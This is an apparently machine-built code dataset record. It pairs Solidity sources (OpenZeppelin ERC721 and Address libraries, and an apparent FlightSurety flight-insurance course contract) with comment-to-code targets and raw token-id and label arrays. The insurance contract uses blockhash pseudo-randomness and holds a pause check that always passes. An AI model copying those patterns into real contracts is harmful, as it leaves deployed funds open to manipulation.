recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface IOGCards { struct Card { bool isGiveaway; uint8 borderType; uint8 transparencyLevel; uint8 maskType; uint256 dna; uint256 mintTokenId; address[] holders; } function cardDetails(uint256 tokenId) external view returns (Card memory); function ownerOf(uint256 tokenId) external view returns (address); function isOG(address _og) external view returns (bool); function holderName(address _holder) external view returns (string memory); function ogHolders(uint256 tokenId) external view returns (address[] memory, string[] memory); }
0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb
address private immutable _cryptoPunks;
13,976,281
[ 1, 20, 6114, 9462, 73, 23, 4315, 28, 6418, 449, 74, 28, 73, 24, 71, 10321, 74, 6260, 72, 7301, 378, 5292, 25, 323, 26, 73, 3657, 23, 9897, 70, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 3238, 11732, 389, 18489, 52, 1683, 87, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; // It's important to avoid vulnerabilities due to numeric overflow bugs // OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs // More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/ import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; /************************************************** */ /* FlightSurety Smart Contract */ /************************************************** */ contract FlightSuretyApp { using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript) /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ // Flight status codees uint8 private constant STATUS_CODE_UNKNOWN = 0; uint8 private constant STATUS_CODE_ON_TIME = 10; uint8 private constant STATUS_CODE_LATE_AIRLINE = 20; uint8 private constant STATUS_CODE_LATE_WEATHER = 30; uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40; uint8 private constant STATUS_CODE_LATE_OTHER = 50; uint256 private constant MINIMUM_FUNDING = 10 ether; address private contractOwner; // Account used to deploy contract struct Flight { bool isRegistered; uint8 statusCode; uint256 updatedTimestamp; address airline; string name; } mapping(bytes32 => Flight) private flights; bytes32[] registeredFlightKeys; struct ConsensusTracker { mapping(address => bool) votedAddresses; uint256 voteCount; } mapping(string => mapping(bytes32 => ConsensusTracker)) consensusTrackers; FlightSuretyData dataContract; // Events event VotedForFunctionCall(address caller, string functionName, bytes32 argumentHash, uint256 voteCount, uint256 threshold); event ResetVotesForFunctionCall(string functionName, bytes32 argumentHash); event AirlineRegistered(address airlineAddress, string airlineName); event FlightRegistered(address airlineAddress, string flight, uint256 timestamp); /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { // Modify to call data contract's status require(true, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireFundedAirline() { require(dataContract.isFunded(msg.sender), "Caller is not a funded Airline"); _; } modifier conditionalMultipartyConsensus(uint256 minAirlinesForConsensus, string functionName, bytes32 argumentHash) { uint256 numAirlines = dataContract.getNumAirlines(); if(numAirlines < minAirlinesForConsensus){ _; } else { ConsensusTracker consensusTracker = consensusTrackers[functionName][argumentHash]; require(!consensusTracker.votedAddresses[msg.sender], "Caller has already voted for this action"); consensusTracker.votedAddresses[msg.sender] = true; consensusTracker.voteCount = consensusTracker.voteCount.add(1); uint256 threshold = numAirlines / 2; emit VotedForFunctionCall(msg.sender, functionName, argumentHash, consensusTracker.voteCount, threshold); if(consensusTracker.voteCount > threshold){ _; delete consensusTrackers[functionName][argumentHash]; emit ResetVotesForFunctionCall(functionName, argumentHash); } } } /********************************************************************************************/ /* CONSTRUCTOR */ /********************************************************************************************/ /** * @dev Contract constructor * */ constructor ( address dataContractAddress ) public { contractOwner = msg.sender; dataContract = FlightSuretyData(dataContractAddress); } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ function isOperational() public pure returns(bool) { return true; // Modify to call data contract's status } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ function fundAirline (address airlineToFund) external payable { require(msg.value >= MINIMUM_FUNDING, "Insufficient Funds"); require(dataContract.isRegistered(airlineToFund), "Airline needs to be registered before being able to be funded"); dataContract.fundAirline.value(msg.value)(airlineToFund); } /** * @dev Add an airline to the registration queue * */ function registerAirline ( address airlineAddress, string airlineName ) external requireFundedAirline conditionalMultipartyConsensus(4, "registerAirline", keccak256(airlineAddress, airlineName)) returns(bool success, uint256 votes) { require(!dataContract.isRegistered(airlineAddress), "New Airline is already registered"); dataContract.registerAirline(airlineAddress, airlineName); emit AirlineRegistered(airlineAddress, airlineName); success = true; return (success, 0); } /** * @dev Register a future flight for insuring. * */ function registerFlight ( string flight, uint256 timestamp ) requireFundedAirline() external { address airline = msg.sender; bytes32 flightKey = getFlightKey(airline, flight, timestamp); Flight flightObject = flights[flightKey]; require(!flightObject.isRegistered, "Flight is already registered"); flightObject.isRegistered = true; flightObject.statusCode = STATUS_CODE_UNKNOWN; flightObject.updatedTimestamp = timestamp; flightObject.airline = airline; flightObject.name = flight; registeredFlightKeys.push(flightKey); emit FlightRegistered(airline, flight, timestamp); } function registeredFlights() external view returns(bytes32[]){ return registeredFlightKeys; } function getFlightData(bytes32 flightKey) external view returns( uint8 statusCode, uint256 updatedTimestamp, address airline, string name) { Flight flightObject = flights[flightKey]; require(flightObject.isRegistered, "Requested Flight is not registered"); statusCode = flightObject.statusCode; updatedTimestamp = flightObject.updatedTimestamp; airline = flightObject.airline; name = flightObject.name; } /** * @dev Called after oracle has updated flight status * */ function processFlightStatus ( address airline, string memory flight, uint256 timestamp, uint8 statusCode ) internal { if(statusCode == STATUS_CODE_LATE_AIRLINE){ bytes32 flightKey = getFlightKey(airline, flight, timestamp); dataContract.creditInsurees(flightKey); } } // Generate a request for oracles to fetch flight information function fetchFlightStatus ( address airline, string flight, uint256 timestamp ) external { uint8 index = getRandomIndex(msg.sender); // Generate a unique key for storing the request bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true }); emit OracleRequest(index, airline, flight, timestamp); } function buyWithKey ( bytes32 flightKey ) public payable { require(msg.value > 0, "Cannot buy 0 value insurance"); require(flights[flightKey].isRegistered, "Flight is not registered"); dataContract.buy.value(msg.value)(flightKey, msg.sender); } function buy ( address airline, string flight, uint256 timestamp ) external payable { require(msg.value > 0, "Cannot buy 0 value insurance"); bytes32 flightKey = getFlightKey(airline, flight, timestamp); buyWithKey(flightKey); } // region ORACLE MANAGEMENT // Incremented to add pseudo-randomness at various points uint8 private nonce = 0; // Fee to be paid when registering oracle uint256 public constant REGISTRATION_FEE = 1 ether; // Number of oracles that must respond for valid status uint256 private constant MIN_RESPONSES = 3; // Variables controlling mock out of random index during testing uint8[3] mockIndices; uint currMockIndex; bool indexMocked; struct Oracle { bool isRegistered; uint8[3] indexes; } // Track all registered oracles mapping(address => Oracle) private oracles; // Model for responses from oracles struct ResponseInfo { address requester; // Account that requested status bool isOpen; // If open, oracle responses are accepted mapping(uint8 => address[]) responses; // Mapping key is the status code reported // This lets us group responses and identify // the response that majority of the oracles } // Track all oracle responses // Key = hash(index, flight, timestamp) mapping(bytes32 => ResponseInfo) private oracleResponses; // Event fired each time an oracle submits a response event FlightStatusInfo(address airline, string flight, uint256 timestamp, uint8 status); event OracleReport(address airline, string flight, uint256 timestamp, uint8 status); // Event fired when flight status request is submitted // Oracles track this and if they have a matching index // they fetch data and submit a response event OracleRequest(uint8 index, address airline, string flight, uint256 timestamp); event OracleRegistered(address oracle, uint8[3] indexes); event MockRandomIndex(uint8[3] mockIndex); event UnMockRandomIndex(); // Register an oracle with the contract function registerOracle ( ) external payable { // Require registration fee require(msg.value >= REGISTRATION_FEE, "Registration fee is required"); uint8[3] memory indexes = generateIndexes(msg.sender); oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes }); emit OracleRegistered(msg.sender, indexes); } function getMyIndexes ( ) view external returns(uint8[3]) { require(oracles[msg.sender].isRegistered, "Not registered as an oracle"); return oracles[msg.sender].indexes; } // Called by oracle when a response is available to an outstanding request // For the response to be accepted, there must be a pending request that is open // and matches one of the three Indexes randomly assigned to the oracle at the // time of registration (i.e. uninvited oracles are not welcome) function submitOracleResponse ( uint8 index, address airline, string flight, uint256 timestamp, uint8 statusCode ) external { require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); // Information isn't considered verified until at least MIN_RESPONSES // oracles respond with the *** same *** information emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); // Handle flight status as appropriate processFlightStatus(airline, flight, timestamp, statusCode); } } function getFlightKey ( address airline, string flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } // Returns array of three non-duplicating integers from 0-9 function generateIndexes ( address account ) internal returns(uint8[3]) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } // Returns array of three non-duplicating integers from 0-9 function getRandomIndex ( address account ) internal returns (uint8) { // Mocked Index for testing purposes if(indexMocked){ uint i = currMockIndex % 3; currMockIndex = currMockIndex + 1; return mockIndices[i]; } else{ uint8 maxValue = 10; // Pseudo random number...the incrementing nonce adds variation uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue); if (nonce > 250) { nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt } return random; } } // Method to mock out the random index with a fixed value for testing purposes function mockRandomIndex(uint8[3] _mockIndices) public requireContractOwner(){ mockIndices = _mockIndices; indexMocked = true; currMockIndex = 0; emit MockRandomIndex(_mockIndices); } // Method to unmock the random index function unMockRandomIndex() public requireContractOwner(){ indexMocked = false; emit UnMockRandomIndex(); } // endregion } contract FlightSuretyData { function registerAirline (address airlineAddress, string airlineName) external; function fundAirline ( address airlineAddress) external payable; function isRegistered ( address airlineAddress) view external returns(bool); function isFunded ( address airlineAddress) view external returns(bool); function getNumAirlines() view external returns(uint256); function buy (bytes32 flightKey, address passenger) external payable; function creditInsurees (bytes32 flightKey) external; }
Method to unmock the random index
function unMockRandomIndex() public requireContractOwner(){ indexMocked = false; emit UnMockRandomIndex(); }
7,281,276
[ 1, 1305, 358, 640, 22851, 326, 2744, 770, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 9865, 8529, 1016, 1435, 1071, 2583, 8924, 5541, 1435, 95, 203, 3639, 770, 9865, 329, 273, 629, 31, 203, 3639, 3626, 1351, 9865, 8529, 1016, 5621, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x00000000000061aD8EE190710508A818aE5325C3/sources/src/Ret_rn.sol
Return the author's account.
return payable(authorAccount);
9,759,257
[ 1, 990, 326, 2869, 1807, 2236, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
